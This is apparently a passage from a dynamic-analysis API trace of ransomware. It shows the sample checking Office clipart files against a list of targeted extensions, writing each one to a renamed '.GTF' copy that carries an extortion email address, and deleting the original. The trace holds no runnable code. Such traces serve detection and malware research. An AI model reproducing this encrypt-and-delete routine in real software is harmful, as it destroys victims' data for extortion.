	[0162.829] lstrlenW (lpString=".xlsx") returned 5
	[0162.829] lstrcmpiW (lpString1=".xlsx", lpString2="4.BMP") returned -1
	[0162.829] lstrlenW (lpString=".ppt") returned 4
	[0162.829] lstrcmpiW (lpString1=".ppt", lpString2=".BMP") returned 1
	[0162.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.829] lstrlenW (lpString=".zip") returned 4
	[0162.830] lstrcmpiW (lpString1=".zip", lpString2=".BMP") returned 1
	[0162.830] lstrlenW (lpString=".rar") returned 4
	[0162.830] lstrcmpiW (lpString1=".rar", lpString2=".BMP") returned 1
	[0162.830] lstrlenW (lpString=".bz2") returned 4
	[0162.830] lstrcmpiW (lpString1=".bz2", lpString2=".BMP") returned 1
	[0162.830] lstrlenW (lpString=".7z") returned 3
	[0162.830] lstrcmpiW (lpString1=".7z", lpString2="BMP") returned -1
	[0162.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.830] lstrlenW (lpString=".dbf") returned 4
	[0162.830] lstrcmpiW (lpString1=".dbf", lpString2=".BMP") returned 1
	[0162.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.830] lstrlenW (lpString=".1cd") returned 4
	[0162.830] lstrcmpiW (lpString1=".1cd", lpString2=".BMP") returned -1
	[0162.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101864.BMP") returned 68
	[0162.830] lstrlenW (lpString=".jpg") returned 4
	[0162.830] lstrcmpiW (lpString1=".jpg", lpString2=".BMP") returned 1
	[0162.830] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.830] lstrlenW (lpString="J0103058.WMF") returned 12
	[0162.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.831] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=17344) returned 1
	[0162.831] CloseHandle (hObject=0x4b4) returned 1
	[0162.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 0x220
	[0162.831] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.832] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.832] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0162.832] GetLastError () returned 0x0
	[0162.832] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x43c0, lpOverlapped=0x0) returned 1
	[0162.834] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x43d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x43d0, lpOverlapped=0x0) returned 1
	[0162.836] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.836] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.836] SetEndOfFile (hFile=0x548) returned 1
	[0162.836] CloseHandle (hObject=0x548) returned 1
	[0162.836] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.836] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.839] CloseHandle (hObject=0x4b4) returned 1
	[0162.839] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.839] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103058.wmf")) returned 1
	[0162.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.840] lstrlenW (lpString=".doc") returned 4
	[0162.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.840] lstrlenW (lpString=".docx") returned 5
	[0162.840] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0162.840] lstrlenW (lpString=".pdf") returned 4
	[0162.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.840] lstrlenW (lpString=".xls") returned 4
	[0162.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.840] lstrlenW (lpString=".xlsx") returned 5
	[0162.840] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0162.840] lstrlenW (lpString=".ppt") returned 4
	[0162.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.840] lstrlenW (lpString=".zip") returned 4
	[0162.840] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.840] lstrlenW (lpString=".rar") returned 4
	[0162.840] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.840] lstrlenW (lpString=".bz2") returned 4
	[0162.840] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString=".7z") returned 3
	[0162.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.841] lstrlenW (lpString=".dbf") returned 4
	[0162.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.841] lstrlenW (lpString=".1cd") returned 4
	[0162.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.841] lstrlenW (lpString=".jpg") returned 4
	[0162.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.841] lstrlenW (lpString=".doc") returned 4
	[0162.841] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString=".docx") returned 5
	[0162.841] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0162.841] lstrlenW (lpString=".pdf") returned 4
	[0162.841] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString=".xls") returned 4
	[0162.841] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.841] lstrlenW (lpString=".xlsx") returned 5
	[0162.841] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0162.841] lstrlenW (lpString=".ppt") returned 4
	[0162.841] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.841] lstrlenW (lpString=".zip") returned 4
	[0162.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.841] lstrlenW (lpString=".rar") returned 4
	[0162.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString=".bz2") returned 4
	[0162.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.841] lstrlenW (lpString=".7z") returned 3
	[0162.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.841] lstrlenW (lpString=".dbf") returned 4
	[0162.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.842] lstrlenW (lpString=".1cd") returned 4
	[0162.842] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103058.WMF") returned 68
	[0162.842] lstrlenW (lpString=".jpg") returned 4
	[0162.842] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.842] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.842] lstrlenW (lpString="J0103262.WMF") returned 12
	[0162.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.842] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=12900) returned 1
	[0162.842] CloseHandle (hObject=0x4b4) returned 1
	[0162.842] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 0x220
	[0162.843] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4
	[0162.843] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.843] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548
	[0162.844] GetLastError () returned 0x0
	[0162.844] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x3264, lpOverlapped=0x0) returned 1
	[0162.846] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0x3270, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0x3270, lpOverlapped=0x0) returned 1
	[0162.847] ReadFile (in: hFile=0x4b4, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.847] WriteFile (in: hFile=0x548, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.847] SetEndOfFile (hFile=0x548) returned 1
	[0162.847] CloseHandle (hObject=0x548) returned 1
	[0162.847] SetFilePointerEx (in: hFile=0x4b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.847] SetEndOfFile (hFile=0x4b4) returned 1
	[0162.850] CloseHandle (hObject=0x4b4) returned 1
	[0162.850] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.850] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103262.wmf")) returned 1
	[0162.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.851] lstrlenW (lpString=".doc") returned 4
	[0162.851] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.851] lstrlenW (lpString=".docx") returned 5
	[0162.851] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0162.851] lstrlenW (lpString=".pdf") returned 4
	[0162.851] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.851] lstrlenW (lpString=".xls") returned 4
	[0162.851] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.851] lstrlenW (lpString=".xlsx") returned 5
	[0162.851] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0162.851] lstrlenW (lpString=".ppt") returned 4
	[0162.851] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.851] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.851] lstrlenW (lpString=".zip") returned 4
	[0162.851] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.851] lstrlenW (lpString=".rar") returned 4
	[0162.851] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.851] lstrlenW (lpString=".bz2") returned 4
	[0162.851] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.851] lstrlenW (lpString=".7z") returned 3
	[0162.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.852] lstrlenW (lpString=".dbf") returned 4
	[0162.852] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.852] lstrlenW (lpString=".1cd") returned 4
	[0162.852] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.852] lstrlenW (lpString=".jpg") returned 4
	[0162.852] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.852] lstrlenW (lpString=".doc") returned 4
	[0162.852] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.852] lstrlenW (lpString=".docx") returned 5
	[0162.852] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0162.852] lstrlenW (lpString=".pdf") returned 4
	[0162.852] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.852] lstrlenW (lpString=".xls") returned 4
	[0162.852] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.852] lstrlenW (lpString=".xlsx") returned 5
	[0162.852] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0162.852] lstrlenW (lpString=".ppt") returned 4
	[0162.852] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.852] lstrlenW (lpString=".zip") returned 4
	[0162.852] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.852] lstrlenW (lpString=".rar") returned 4
	[0162.852] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.852] lstrlenW (lpString=".bz2") returned 4
	[0162.852] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.852] lstrlenW (lpString=".7z") returned 3
	[0162.852] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.852] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.852] lstrlenW (lpString=".dbf") returned 4
	[0162.853] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.853] lstrlenW (lpString=".1cd") returned 4
	[0162.853] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.853] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103262.WMF") returned 68
	[0162.853] lstrlenW (lpString=".jpg") returned 4
	[0162.853] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.853] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0162.853] lstrlenW (lpString="J0103402.WMF") returned 12
	[0162.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.881] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=44948) returned 1
	[0162.889] CloseHandle (hObject=0x53c) returned 1
	[0162.889] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 0x220
	[0162.899] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0162.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0162.899] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.899] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0162.900] GetLastError () returned 0x0
	[0162.900] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0xaf94, lpOverlapped=0x0) returned 1
	[0162.905] WriteFile (in: hFile=0x544, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xafa0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xafa0, lpOverlapped=0x0) returned 1
	[0162.907] ReadFile (in: hFile=0x53c, lpBuffer=0x3cc1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1
	[0162.907] WriteFile (in: hFile=0x544, lpBuffer=0x3cc1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cc1020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1
	[0162.907] SetEndOfFile (hFile=0x544) returned 1
	[0162.907] CloseHandle (hObject=0x544) returned 1
	[0162.907] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1
	[0162.907] SetEndOfFile (hFile=0x53c) returned 1
	[0162.911] CloseHandle (hObject=0x53c) returned 1
	[0162.911] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0162.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0103402.wmf")) returned 1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.912] lstrlenW (lpString=".doc") returned 4
	[0162.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.912] lstrlenW (lpString=".docx") returned 5
	[0162.912] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0162.912] lstrlenW (lpString=".pdf") returned 4
	[0162.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.912] lstrlenW (lpString=".xls") returned 4
	[0162.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0162.912] lstrlenW (lpString=".xlsx") returned 5
	[0162.912] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0162.912] lstrlenW (lpString=".ppt") returned 4
	[0162.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.912] lstrlenW (lpString=".zip") returned 4
	[0162.912] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0162.912] lstrlenW (lpString=".rar") returned 4
	[0162.912] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0162.912] lstrlenW (lpString=".bz2") returned 4
	[0162.912] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0162.912] lstrlenW (lpString=".7z") returned 3
	[0162.912] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.912] lstrlenW (lpString=".dbf") returned 4
	[0162.912] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.912] lstrlenW (lpString=".1cd") returned 4
	[0162.912] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0162.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.912] lstrlenW (lpString=".jpg") returned 4
	[0162.912] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0162.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0103402.WMF") returned 68
	[0162.913] lstrlenW (lpString=".doc") returned 4
	[0162.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0162.913] lstrlenW (lpString=".docx") returned 5
	[0162.913] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0162.913] lstrlenW (lpString=".pdf") returned 4
	[0162.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0162.913] lstrlenW (lpString=".xls") returned 4
